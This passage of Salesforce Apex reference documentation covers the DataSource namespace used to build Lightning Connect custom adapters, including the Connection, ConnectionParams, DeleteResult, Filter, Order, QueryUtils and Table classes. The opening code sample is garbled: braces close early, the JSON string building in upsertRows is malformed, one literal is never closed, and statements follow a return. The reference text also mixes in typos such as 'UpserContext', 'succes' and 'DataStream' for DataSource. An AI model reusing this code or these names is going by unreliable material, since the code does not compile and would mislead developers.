  override global DataSource.TableResult query(DataSource.QueryContext c) {
    return DataSource.TableResult.get(c, DataSource.QueryUtils.process(c, getRows()));
  }

  override global List<DataSource.TableResult> search(DataSource.SearchContext c) {
    List<DataSource.TableResult> results = new List<DataSource.TableResult>();
    for (DataSource.TableSelection tableSelection : c.tableSelections) {
      results.add(DataSource.TableResult.get(tableSelection, getRows()));
    }
    return results;
  }

  // Helper method to get record values from the external system for the Sample table.
  private List<Map<String, Object>> getRows () {
    // Get row field values for the Sample table from the external system via a callout.
    HttpResponseMessage response = makeGetCallout();
    // Parse the JSON response and populate the rows.
    Map<String, Object> m = (Map<String, Object>)JSON.deserializeUntyped(response.getBody());
    Map<String, Object> error = (Map<String, Object>)m.get('error');
    if (error != null) {
      throwException(string.valueOf(error.get('message')));
    }
    List<Map<String, Object>> rows = new List<Map<String, Object>>();
    List<Object> jsonRows = (List<Object>)m.get('value');
    if (jsonRows == null) {
      rows.add(foundRow(m));
    } else {
      for (Object jsonRow : jsonRows) {
        Map<String, Object> row = (Map<String, Object>)jsonRow;
        rows.add(foundRow(row));
      }
    }
    return rows;
  }
}
global override List<DataSource.UpsertResult> upsertRows(DataSource.UpserContext context) {
    if (context.tableSelected == 'Sample') {
        List<DataSource.UpsertResult> results = new List<DataSource.UpsertResult>();
        List<Map<String, Object>> rows = context.rows;

        for (Map<String, Object> row : rows) {
            // Make a callout to insert or update records in the external system.
            HttpResponse response;

            // Determine whether to insert or update a record.
            if (row.get('ExternalId') == null) {
                // Send a POST HTTP request to insert new external record.
                // Make an Apex callout and get HttpResponse.
                response = makePostCallout(
                    '{"name":' + row.get('Name') + '','"ExternalId":' + row.get('ExternalId') + '}'
                );
            } else {
                // Send a PUT HTTP request to update an existing external record.
                // Make an Apex callout and get HttpResponse.
                response = makePutCallout(
                    '{"name":' + row.get('Name') + '','"ExternalId":' + row.get('ExternalId') + '}
                    , String.valueOf(row.get('ExternalId')));
            }

            // Check the returned response.  
            // First, deserialize it.
            Map<String, Object> m = (Map<String, Object>)JSON.deserializeUntyped(response.getBody());
            if (response.getStatusCode() == 200) {
                results.add(DataSource.UpsertResult.success(String.valueOf(m.get('id'))));
            } else {
                results.add(DataSource.UpsertResult.failure(
                    String.valueOf(m.get('id')),
                    'The callout resulted in an error: ' + response.getStatusCode()));
            }
        }

        return results;
    }
    return null;
}

global override List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext context) {
    if (context.tableSelected == 'Sample') {
        List<DataSource.DeleteResult> results = new List<DataSource.DeleteResult>();
        for (String externalId : context.externalIds) {
            HttpResponse response = makeDeleteCallout(externalId);
        }
        return results;
    }
    return null;
}
if (response.getStatusCode() == 200){
    results.add(DataSource.DeleteResult.success(externalId));
} else {
    results.add(DataSource.DeleteResult.failure(externalId,
    'Callout delete error:'
    + response.getBody()));
}
return results;
return null;

// Helper methods

// Make a GET callout
private static HttpResponse makeGetCallout() {
    HttpResponse response;
    // Make callout
    // ...
    return response;
}

// Populate a row based on values from the external system.

IN THIS SECTION:
  Connection Methods

Connection Methods

The following are methods for Connection.

IN THIS SECTION:
  deleteRows(deleteContext)
  query(queryContext)
  search(searchContext)
  sync()
  upsertRows(upsertContext)

**deleteRows (deleteContext)**

Invoked when external object records are deleted via the Salesforce user interface, APIs, or Apex.

**Signature**

```java
public List<DataSource.DeleteResult> deleteRows (DataSource.DeleteContext deleteContext)
```

**Parameters**

- `deleteContext` of type `DataSource.DeleteContext`
  - Contains context information about the delete request.

**Return Value**

- Type: `List<DataSource.DeleteResult>`
  - The results of the delete operation.
**query (queryContext)**
Invoked by a SOQL query of an external object. A SOQL query is generated and executed when a user visits an external object’s list view or record detail page in Salesforce. Returns the results of the query.

**Signature**
public DataSource.TableResult query(DataSource.QueryContext queryContext)

**Parameters**
queryContext
    Type: DataSource.QueryContext
    Represents the query to run against a data table.

**Return Value**
Type: DataSource.TableResult

**search (searchContext)**
Invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also searches external objects. Returns the results of the query.

**Signature**
public List<DataSource.TableResult> search(DataSource.SearchContext searchContext)

**Parameters**
searchContext
    Type: DataSource.SearchContext
    Represents the query to run against an external data table.

**Return Value**
Type: List<DataSource.TableResult>

**sync ()**
Invoked when an administrator clicks **Validate and Sync** on the external data source detail page. Returns a list of tables that describe the external system’s schema.

**Signature**
public List<DataSource.Table> sync()

**Return Value**
Type: List<DataSource.Table>
Each returned table can be used to create an external object in Salesforce. On the Validate External Data Source page, the administrator views the list of returned tables and selects which tables to sync. When the administrator clicks Sync, an external object is created for each selected table. Each column within the selected tables also becomes a field in the external object.

**upsertRows (upsertContext)**
Invoked when external object records are created or updated via the Salesforce user interface, APIs, or Apex.

**Signature**
```java
public List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext upsertContext)
```

**Parameters**
upsertContext
  Type: `DataSource.UpsertContext`
  Contains context information about the upsert request.

**Return Value**
Type: `List<DataSource.UpsertResult>`
The results of the upsert operation.

**ConnectionParams Class**
Contains the credentials for authenticating to the external system.

**Namespace**
`DataSource`

**Usage**
If your extension of the `DataSource.Provider` class returns `DataSource.AuthenticationCapability` values that indicate support for authentication, the `DataSource.Connection` class is instantiated with a `DataSource.ConnectionParams` instance in the constructor.

The authentication credentials in the `DataSource.ConnectionParams` instance depend on the Identity Type field of the external data source definition in Salesforce.

- If Identity Type is set to Named Principal, the credentials come from the external data source definition.
- If Identity Type is set to Per User:
  - For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come from the user’s authentication settings for the external system.
  - For administrative connections, such as syncing the external system’s schema, the credentials come from the external data source definition.
The values in this class can appear in debug logs and can be accessed by users who have the “Author Apex” permission. If you require better security, we recommend that you specify named credentials instead of URLs as your Apex callout endpoints. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t have to.

IN THIS SECTION:
  ConnectionParams Properties

ConnectionParams Properties
The following are properties for ConnectionParams.

IN THIS SECTION:
  certificateName
  endpoint
  oauthToken
  password
  principalType
  protocol
  repository
  username

**certificateName**
The name of the certificate for establishing each connection to the external system.

**Signature**

```java
public String certificateName {get; set;}
```

**Property Value**
Type: String
The value comes from the external data source definition in Salesforce.
**endpoint**

The URL of the external system.

**Signature**

```java
public String endpoint {get; set;}
```

**Property Value**

Type: String

The value comes from the external data source definition in Salesforce.

**oauthToken**

The OAuth token that’s issued by the external system.

**Signature**

```java
public String oauthToken {get; set;}
```

**Property Value**

Type: String

**password**

The password for authenticating to the external system.

**Signature**

```java
public String password {get; set;}
```

**Property Value**

Type: String

The value depends on the Identity Type field of the external data source definition in Salesforce.

- If Identity Type is set to Named Principal, the credentials come from the external data source definition.
- If Identity Type is set to Per User:
  - For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come from the user’s authentication settings for the external system.
  - For administrative connections, such as syncing the external system’s schema, the credentials come from the external data source definition.

**principalType**

An instance of `DataSource.IdentityType`, which determines which set of credentials to use to access the external system.
Signature

public DataSource.IdentityType principalType {get; set;}

Property Value
Type: DataSource.IdentityType

protocol
The type of protocol that’s used to authenticate to the external system.

Signature

public DataSource.AuthenticationProtocol protocol {get; set;}

Property Value
Type: DataSource.AuthenticationProtocol

repository
Reserved for future use.

Signature

public String repository {get; set;}

Property Value
Type: String
Reserved for future use.

username
The username for authenticating to the external system.

Signature

public String username {get; set;}

Property Value
Type: String
The value depends on the Identity Type field of the external data source definition in Salesforce.

- If Identity Type is set to Named Principal, the credentials come from the external data source definition.
- If Identity Type is set to Per User:
  - For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come from the user’s authentication settings for the external system.
For administrative connections, such as syncing the external system’s schema, the credentials come from the external data source definition.

**DataSourceUtil Class**

Parent class for the `DataSource.Provider` and `DataSource.Connection` classes.

**Namespace**

`DataSource`

**DataSourceUtil Methods**

The following are methods for `DataSourceUtil`.

**logWarning(message)**

Logs the error message in the debug log.

**throwException(message)**

Throws a `DataSourceException` and displays the provided message to the user.

**logWarning(message)**

Logs the error message in the debug log.

**Signature**

```
public void logWarning(String message)
```

**Parameters**

- `message`
  - Type: `String`
  - The error message.

**Return Value**

Type: `void`

**throwException(message)**

Throws a `DataSourceException` and displays the provided message to the user.
Signature

```java
public void throwException(String message)
```

Parameters

`message`

Type: `String`

Error message to display to the user.

Return Value

Type: `void`

**DataType Enum**

Specifies the data types that are supported by the Apex Connector Framework.

**Usage**

The `DataSource.DataType` enum is referenced by the `type` property on the `DataSource.Column` class.

**Enum Values**

The following are the values of the `DataSource.DataType` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>BOOLEAN_TYPE</td>
<td>Boolean</td>
</tr>
<tr>
<td>DATETIME_TYPE</td>
<td>Date/time</td>
</tr>
<tr>
<td>EXTERNAL_LOOKUP_TYPE</td>
<td>External lookup relationship</td>
</tr>
<tr>
<td>INDIRECT_LOOKUP_TYPE</td>
<td>Indirect lookup relationship</td>
</tr>
<tr>
<td>LOOKUP_TYPE</td>
<td>Lookup relationship</td>
</tr>
<tr>
<td>NUMBER_TYPE</td>
<td>Number</td>
</tr>
<tr>
<td>STRING_LONG_TYPE</td>
<td>Long text area</td>
</tr>
<tr>
<td>STRING_SHORT_TYPE</td>
<td>Text area</td>
</tr>
<tr>
<td>URL_TYPE</td>
<td>URL</td>
</tr>
</tbody>
</table>

**DeleteContext Class**

An instance of `DeleteContext` is passed to the `deleteRows()` method on your `Database.Connection` class. The class provides context information about the delete request to the implementor of `deleteRows()`.
Namespace

DataSource

Usage

The Apex Connector Framework creates context for operations. Context is comprised of parameters about the operations, which other methods can use. An instance of the DeleteContext class packages these parameters into an object that can be used when a `deleteRows()` operation is initiated.

In This Section:

DeleteContext Properties

DeleteContext Properties

The following are properties for DeleteContext.

In This Section:

- `externalIds`
  - The external IDs of the rows representing external object records to delete.

- `tableSelected`
  - The name of the table to delete rows from.

**externalIds**

The external IDs of the rows representing external object records to delete.

**Signature**

```java
public List<String> externalIds {get; set;}
```

**Property Value**

Type: `List<String>`

**tableSelected**

The name of the table to delete rows from.

**Signature**

```java
public String tableSelected {get; set;}
```

**Property Value**

Type: `String`
DeleteResult Class

Represents the result of a delete operation on an sObject record. The result is returned by the `DataSource.deleteRows` method of the `DataSource.Connection` class.

Namespace

`DataSource`

Usage

A delete operation on external object records generates an array of objects of type `DataSource.DeleteResult`. Its methods create result records that indicate whether the delete operation succeeded or failed.

IN THIS SECTION:

- DeleteResult Properties
- DeleteResult Methods

DeleteResult Properties

The following are properties for `DeleteResult`.

IN THIS SECTION:

- `errorMessage`
- `externalId`
- `success`

`errorMessage`

The error message that’s generated by a failed delete operation. Recorded with a result of type `DataSource.DeleteResult`.

Signature

`public String errorMessage {get; set;}`

Property Value

Type: `String`

`externalId`

The unique identifier of a row that represents an external object record to delete.

1487
Signature
public String externalId {get; set;}

Property Value
Type: String

success
Indicates whether a delete operation succeeded or failed.

Signature
public Boolean success {get; set;}

Property Value
Type: Boolean

DeleteResult Methods
The following are methods for DeleteResult.

IN THIS SECTION:
   equals(obj)
   Maintains the integrity of lists of type DeleteResult by determining the equality of external objects in a list. This method is dynamic and is based on the equals method in Java.
   failure(externalId, errorMessage)
   Creates a delete result indicating the failure of a delete request for a given external ID.
   hashCode()
   Maintains the integrity of lists of type DeleteResult by determining the uniqueness of the external object records in a list.
   success(externalId)
   Creates a delete result indicating the successful completion of a delete request for a given external ID.

equals(obj)
Maintains the integrity of lists of type DeleteResult by determining the equality of external objects in a list. This method is dynamic and is based on the equals method in Java.

Signature
public Boolean equals(Object obj)

Parameters

   obj
   Type: Object
External object whose key is to be validated.
For information about the equals method, see Using Custom Types in Map Keys and Sets on page 107.

**Return Value**
Type: Boolean

`failure(externalId, errorMessage)`
Creates a delete result indicating the failure of a delete request for a given external ID.

**Signature**

```
public static DataSource.DeleteResult failure(String externalId, String errorMessage)
```

**Parameters**

- **externalId**
  Type: String
  The unique identifier of the sObject record to delete.

- **errorMessage**
  Type: String
  The reason the delete operation failed.

**Return Value**
Type: DataSource.DeleteResult
Status result of the delete operation.

`hashCode()`
Maintains the integrity of lists of type DeleteResult by determining the uniqueness of the external object records in a list.

**Signature**

```
public Integer hashCode()
```

**Return Value**
Type: Integer

`succes(externalId)`
Creates a delete result indicating the successful completion of a delete request for a given external ID.

**Signature**

```
public static DataSource.DeleteResult success(String externalId)
```
Parameters

- **externalId**
  - Type: String
  - The unique identifier of the sObject record to delete.

Return Value

- Type: **DataSource.DeleteResult**
  - Status result of the delete operation for the sObject with the given external ID.

Filter Class

Represents a `WHERE` clause in a SOSL or SOQL query.

Namespace

- **DataSource**

Usage

Compound types require child filters. Specifically, the `subfilters` property can't be null if the `type` property is `NOT`, `AND`, or `OR`.

Filter Properties

The following are properties for Filter.

**IN THIS SECTION:**
- **columnName**
  - Name of the column that's being evaluated in a simple comparative type of filter.
- **columnValue**
  - Value that the filter compares records against in a simple comparative type of filter.
- **subfilters**
  - List of subfilters for compound filter types, such as `NOT`, `AND`, and `OR`.
- **tableName**
  - Name of the table whose column is being evaluated in a simple comparative type of filter.
- **type**
  - Type of filter operation that limits the returned data.
**columnName**
Name of the column that’s being evaluated in a simple comparative type of filter.

**Signature**
```java
public String columnName {get; set;}
```

**Property Value**
Type: String

**columnValue**
Value that the filter compares records against in a simple comparative type of filter.

**Signature**
```java
public Object columnValue {get; set;}
```

**Property Value**
Type: Object

**subfilters**
List of subfilters for compound filter types, such as NOT_, AND_, and OR_.

**Signature**
```java
public List<DataSource.Filter> subfilters {get; set;}
```

**Property Value**
Type: List<DataSource.Filter>

**tableName**
Name of the table whose column is being evaluated in a simple comparative type of filter.

**Signature**
```java
public String tableName {get; set;}
```

**Property Value**
Type: String

**type**
Type of filter operation that limits the returned data.
Signature

public DataSource.FilterType type {get; set;}

Property Value
Type: DataSource.FilterType

FilterType Enum

Referenced by the type property on a DataSource.Filter.

Usage
Determines how to limit the returned data.

Enum Values
The following are the values of the DataSource.FilterType enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AND</td>
<td>This compound filter type returns all rows that match all the subfilters.</td>
</tr>
<tr>
<td>CONTAINS</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>ENDS_WITH</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>EQUALS</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>GREATER_THAN</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>GREATER_THAN_OR_EQUAL_TO</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>LESS_THAN</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>LESS_THAN_OR_EQUAL_TO</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>LIKE</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>NOT</td>
<td>This compound filter type returns the rows that don’t match the subfilter.</td>
</tr>
<tr>
<td>NOT_EQUALS</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>OR</td>
<td>This compound filter type returns all rows that match any of the subfilters.</td>
</tr>
<tr>
<td>STARTS_WITH</td>
<td>Simple comparative filter type.</td>
</tr>
</tbody>
</table>

IdentityType Enum

Determines which set of credentials is used to authenticate to the external system.
Usage

The relevant credentials are passed to your `DataSource.Connection` class.

Enum Values

The following are the values of the `DataSource.IdentityType` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ANONYMOUS</td>
<td>No credentials are used to authenticate to the external system.</td>
</tr>
<tr>
<td>NAMED_USER</td>
<td>The credentials in the external data source definition are used to authenticate to the external system, regardless of which user is accessing the external data from your organization.</td>
</tr>
<tr>
<td>PER_USER</td>
<td>For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come from the user’s authentication settings for the external system. For administrative connections, such as syncing the external system’s schema, the credentials come from the external data source definition.</td>
</tr>
</tbody>
</table>

Order Class

Contains details about how to sort the rows in the result set. Equivalent to an `ORDER BY` statement in a SOQL query.

Namespace

`DataSource`

Usage

Used in the `order` property on the `DataSource.TableSelection` class.

IN THIS SECTION:

Order Properties

Order Methods

Order Properties

The following are properties for `Order`.

IN THIS SECTION:

`columnName`

Name of the column whose values are used to sort the rows in the result set.
**direction**
Direction for sorting rows based on column values.

**tableName**
Name of the table whose column values are used to sort the rows in the result set.

**columnName**
Name of the column whose values are used to sort the rows in the result set.

**Signature**
```
public String columnName {get; set;}
```

**Property Value**
Type: `String`

**direction**
Direction for sorting rows based on column values.

**Signature**
```
public DataSource.OrderDirection direction {get; set;}
```

**Property Value**
Type: `DataSource.OrderDirection`

**tableName**
Name of the table whose column values are used to sort the rows in the result set.

**Signature**
```
public String tableName {get; set;}
```

**Property Value**
Type: `String`

**Order Methods**
The following are methods for `Order`.

**IN THIS SECTION:**
```
get(tableName, columnName, direction)
```
Creates an instance of the `DataSource.Order` class.
**get(tableName, columnName, direction)**

Creates an instance of the `DataSource.Order` class.

**Signature**

```java
public static DataSource.Order get(String tableName, String columnName, DataStream.OrderDirection direction)
```

**Parameters**

- `tableName`
  - Type: `String`
  - Name of the table whose column values are used to sort the rows in the result set.

- `columnName`
  - Type: `String`
  - Name of the column whose values are used to sort the rows in the result set.

- `direction`
  - Type: `DataStream.OrderDirection`
  - Direction for sorting rows based on column values.

**Return Value**

Type: `DataStream.Order`

---

**OrderDirection Enum**

Specifies the direction for sorting rows based on column values.

**Usage**

Used by the `direction` property on the `DataStream.Order` class.

**Enum Values**

The following are the values of the `DataStream.OrderDirection` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ASCENDING</td>
<td>Sort rows in ascending order (A–Z).</td>
</tr>
<tr>
<td>DESCENDING</td>
<td>Sort rows in descending order (Z–A).</td>
</tr>
</tbody>
</table>

**Provider Class**

Extend this base class to create a custom adapter for Lightning Connect. The class informs Salesforce of the functional and authentication capabilities that are supported by or required to connect to the external system.
Namespace

DataSource

Usage

Create an Apex class that extends DataSource.Provider to specify the following.

- The types of authentication that can be used to access the external system
- The features that are supported for the connection to the external system
- The Apex class that extends DataSource.Connection to sync the external system's schema and to handle the queries and searches of the external data

The values that are returned by the DataSource.Provider class determine which settings are available in the external data source definition in Salesforce. To access the external data source definition from Setup, enter External Data Sources in the Quick Find box, then select External Data Sources.

IN THIS SECTION:

Provider Methods

Provider Methods

The following are methods for Provider.

IN THIS SECTION:

getAuthenticationCapabilities()

Returns the types of authentication that can be used to access the external system.

getCapabilities()

Returns the functional operations that the external system supports and the required endpoint settings for the external data source definition in Salesforce.

getConnection(connectionParams)

Returns a connection that points to an instance of the external data source.

getAuthenticationCapabilities()

Returns the types of authentication that can be used to access the external system.

Signature

public List<DataSource.AuthenticationCapability> getAuthenticationCapabilities()
**getCapabilities()**

Returns the functional operations that the external system supports and the required endpoint settings for the external data source definition in Salesforce.

**Signature**

```java
public List<DataSource.Capability> getCapabilities()
```

**Return Value**

Type: List<DataSource.Capability>

---

**getConnectionString(connectionParams)**

Returns a connection that points to an instance of the external data source.

**Signature**

```java
public DataSource.Connection getConnection(DataSource.ConnectionParams connectionParams)
```

**Parameters**

- `connectionParams`  
  Type: DataSource.ConnectionParams  
  Credentials for authenticating to the external system.

**Return Value**

Type: DataSource.Connection

---

**QueryAggregation Enum**

Specifies how to aggregate a column in a query.

**Usage**

Used by the `aggregation` property on the `DataSource.ColumnSelection` class.

**Enum Values**

The following are the values of the `DataSource.QueryAggregation` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AVG</td>
<td>Reserved for future use.</td>
</tr>
<tr>
<td>COUNT</td>
<td>Returns the number of rows that meet the query criteria.</td>
</tr>
<tr>
<td>MAX</td>
<td>Reserved for future use.</td>
</tr>
</tbody>
</table>
QueryContext Class

An instance of QueryContext is provided to the query method on your DataSource.Connection class. The instance corresponds to a SOQL request.

Namespace

DataSource

IN THIS SECTION:
QueryContext Properties
QueryContext Methods

QueryContext Properties

The following are properties for QueryContext.

IN THIS SECTION:
queryMoreToken
queryMoreToken
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results.

tableSelection
tableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.

queryMoreToken

Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results.

Signature

public String queryMoreToken {get; set;}

Property Value

Type: String

tableSelection

tableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.
Signature

```java
public DataSource.TableSelection tableSelection {get; set;}
```

Property Value

Type: `DataSource.TableSelection`

QueryContext Methods

The following are methods for `QueryContext`.

**IN THIS SECTION:**

- `get(metadata, offset, maxResults, tableSelection)`
  - Creates an instance of the `QueryContext` class.

**get(metadata, offset, maxResults, tableSelection)**

Creates an instance of the `QueryContext` class.

Signature

```java
public static DataSource.QueryContext get(List<DataSource.Table> metadata, Integer offset, Integer maxResults, DataSource.TableSelection tableSelection)
```

Parameters

- `metadata`
  - Type: `List<DataSource.Table>`
  - List of table metadata that describes the external system’s tables to query.

- `offset`
  - Type: `Integer`
  - Used for client-driven paging. Specifies the starting row offset into the query’s result set.

- `maxResults`
  - Type: `Integer`
  - Used for client-driven paging. Specifies the maximum number of rows to return in each batch.

- `tableSelection`
  - Type: `DataSource.TableSelection`
  - Query details that represent the `FROM`, `ORDER BY`, `SELECT`, and `WHERE` clauses in a SOQL or SOSL query.

Return Value

Type: `DataSource.QueryContext`
QueryUtils Class

Contains helper methods to locally filter, sort, and apply limit and offset clauses to data rows. This helper class is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

Namespace

DataSource

Usage

The DataSource.QueryUtils class and its helper methods can process query results locally within your Salesforce organization. This class is provided for your convenience to simplify the development of your Lightning Connect custom adapter for initial tests. However, the DataSource.QueryUtils class and its methods aren’t supported for use in production environments that use callouts to retrieve data from external systems. Complete the filtering and sorting on the external system before sending the query results to Salesforce. When possible, use server-driven paging or another technique to have the external system determine the appropriate data subsets according to the limit and offset clauses in the query.

IN THIS SECTION:

QueryUtils Methods

QueryUtils Methods

The following are methods for QueryUtils.

IN THIS SECTION:

applyLimitAndOffset(queryContext, rows)

Returns a subset of data rows after locally applying limit and offset clauses from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

filter(queryContext, rows)

Returns a subset of data rows after locally ordering and applying filters from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

process(queryContext, rows)

Returns data rows after locally filtering, sorting, ordering, and applying limit and offset clauses from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

sort(queryContext, rows)

Returns data rows after locally sorting and applying the order from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

applyLimitAndOffset(queryContext, rows)

Returns a subset of data rows after locally applying limit and offset clauses from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.
**Signature**

```java
public static List<Map<String, Object>> applyLimitAndOffset(DataSource.QueryContext queryContext, List<Map<String, Object>> rows)
```

**Parameters**

- `queryContext`
  - Type: `DataSource.QueryContext`
  - Represents the query to run against a data table.

- `rows`
  - Type: `List<Map<String, Object>>`
  - Rows of data.

**Return Value**

Type: `List<Map<String, Object>>`

---

**filter(queryContext, rows)**

Returns a subset of data rows after locally ordering and applying filters from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

**Signature**

```java
public static List<Map<String, Object>> filter(DataSource.QueryContext queryContext, List<Map<String, Object>> rows)
```

**Parameters**

- `queryContext`
  - Type: `DataSource.QueryContext`
  - Represents the query to run against a data table.

- `rows`
  - Type: `List<Map<String, Object>>`
  - Rows of data.

**Return Value**

Type: `List<Map<String, Object>>`

---

**process(queryContext, rows)**

Returns data rows after locally filtering, sorting, ordering, and applying limit and offset clauses from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.
Signature

```
public static List<Map<String, Object>> process(DataSource.QueryContext queryContext,
List<Map<String, Object>> rows)
```

Parameters

- **queryContext**
  - Type: `DataSource.QueryContext`
  - Represents the query to run against a data table.

- **rows**
  - Type: `List<Map<String, Object>>`
  - Rows of data.

Return Value

Type: `List<Map<String, Object>>`

**sort(queryContext, rows)**

Returns data rows after locally sorting and applying the order from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

Signature

```
public static List<Map<String, Object>> sort(DataSource.QueryContext queryContext,
List<Map<String, Object>> rows)
```

Parameters

- **queryContext**
  - Type: `DataSource.QueryContext`
  - Represents the query to run against a data table.

- **rows**
  - Type: `List<Map<String, Object>>`
  - Rows of data.

Return Value

Type: `List<Map<String, Object>>`

**ReadContext Class**

Abstract base class for the `QueryContext` and `SearchContext` classes.

**Namespace**

`DataSource`
ReadContext Properties

The following are properties for ReadContext.

maxResults
Maximum number of rows that the query can return.

Signature
public Integer maxResults {get; set;}

Property Value
Type: Integer

metadata
Describes the external system's tables to query.

Signature
public List<DataSource.Table> metadata {get; set;}

Property Value
Type: List<DataSource.Table>

offset
The starting row offset into the query's result set. Used for client-driven paging.

Signature
public Integer offset {get; set;}

Reference

ReadContext Class
SearchContext Class

An instance of `SearchContext` is provided to the `search` method on your `DataSource.Connection` class. The instance corresponds to a search or SOSL request.

Namespace

`DataSource`

IN THIS SECTION:

- SearchContext Constructors
- SearchContext Properties

SearchContext Constructors

The following are constructors for `SearchContext`.

IN THIS SECTION:

- `SearchContext(metadata, offset, maxResults, tableSelections, searchPhrase)`
  - Creates an instance of the `SearchContext` class with the specified parameter values.
- `SearchContext()`
  - Creates an instance of the `SearchContext` class.

**`SearchContext(metadata, offset, maxResults, tableSelections, searchPhrase)`**

Creates an instance of the `SearchContext` class with the specified parameter values.

**Signature**

```java
public SearchContext(List<DataSource.Table> metadata, Integer offset, Integer maxResults, List<DataSource.TableSelection> tableSelections, String searchPhrase)
```

**Parameters**

- `metadata`
  - Type: `List<DataSource.Table>`
  - List of table metadata that describes the external system's tables to query.
- `offset`
  - Type: `Integer`
  - Specifies the starting row offset into the query's result set.
- `maxResults`
  - Type: `Integer`
Specifies the maximum number of rows to return in each batch.

tableSelections
Type: List<DataSource.TableSelection>
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL query.

searchPhrase
Type: String
The user-entered search string as a case-sensitive single phrase, with all non-alphanumeric characters removed.

SearchContext()
Creates an instance of the SearchContext class.

Signature

public SearchContext()

SearchContext Properties
The following are properties for SearchContext.

IN THIS SECTION:

searchPhrase
The user-entered search string as a case-sensitive single phrase, with all non-alphanumeric characters removed.

tableSelections
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL query.

searchPhrase
The user-entered search string as a case-sensitive single phrase, with all non-alphanumeric characters removed.

Signature

public String searchPhrase {get; set;}

Property Value
Type: String

tableSelections
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL query.

Signature

public List<DataSource.TableSelection> tableSelections {get; set;}

1505
SearchUtils Class

Helper class for implementing search on a custom adapter for Lightning Connect.

Namespace

DataSource

Usage

We recommend that you develop your own search implementation that can search columns in addition to the designated name field.

IN THIS SECTION:

SearchUtils Methods

SearchUtils Methods

The following are methods for SearchUtils.

IN THIS SECTION:

searchByName(searchDetails, connection)

Queries all the tables and returns each row whose designated name field contains the search phrase.

**searchByName(searchDetails, connection)**

Queries all the tables and returns each row whose designated name field contains the search phrase.

**Signature**

```java
public static List<DataSource.TableResult> searchByName(DataSource.SearchContext searchDetails, DataSource.Connection connection)
```

**Parameters**

*searchDetails*

Type: `DataSource.SearchContext`

The `SearchContext` class that specifies which data to search and what to search for.

*connection*

Type: `DataSource.Connection`

The `DataSource.Connection` class that connects to the external system.
Return Value
Type: List<DataSource.TableResult>

Table Class
Describes a table on an external system that the Lightning Connect custom adapter connects to.

Namespace
DataSource

Usage
A list of table metadata is provided by the DataSource.Connection class when the sync() method is invoked. Each table can become an external object in Salesforce.
The metadata is stored in Salesforce. Updating the Apex code to return new or updated values for the table metadata doesn’t automatically update the stored metadata in Salesforce.

IN THIS SECTION:
Table Properties
Table Methods

Table Properties
The following are properties for Table.

IN THIS SECTION:
columns
List of table columns.
description
Description of what the table represents.
labelPlural
Plural form of the user-friendly name for the table that appears in the Salesforce user interface.
labelSingular
Singular form of the user-friendly name for the table that appears in the Salesforce user interface.
name
Name of the table on the external system.
namedColumn
Name of the table column that becomes the name field of the external object when the administrator syncs the table.

columns
List of table columns.
Signature

```java
public List<DataSource.Column> columns {get; set;}
```

**Property Value**

Type: `List<DataSource.Column>`

**description**

Description of what the table represents.

Signature

```java
public String description {get; set;}
```

**Property Value**

Type: `String`

**labelPlural**

Plural form of the user-friendly name for the table that appears in the Salesforce user interface.

Signature

```java
public String labelPlural {get; set;}
```

**Property Value**

Type: `String`

**labelSingular**

Singular form of the user-friendly name for the table that appears in the Salesforce user interface.

Signature

```java
public String labelSingular {get; set;}
```

**Property Value**

Type: `String`

**name**

Name of the table on the external system.

Signature

```java
public String name {get; set;}
```
Property Value
Type: String

**nameColumn**
Name of the table column that becomes the name field of the external object when the administrator syncs the table.

Signature
```java
public String nameColumn {get; set;}
```

Property Value
Type: String

Table Methods
The following are methods for Table.

IN THIS SECTION:
- `get(name, labelSingular, labelPlural, description, nameColumn, columns)`
  Returns the table metadata with the specified parameter values.
- `get(name, nameColumn, columns)`
  Returns the table metadata with the specified parameter values, using the name for the labels and description.

**get(name, labelSingular, labelPlural, description, nameColumn, columns)**
Returns the table metadata with the specified parameter values.

Signature
```java
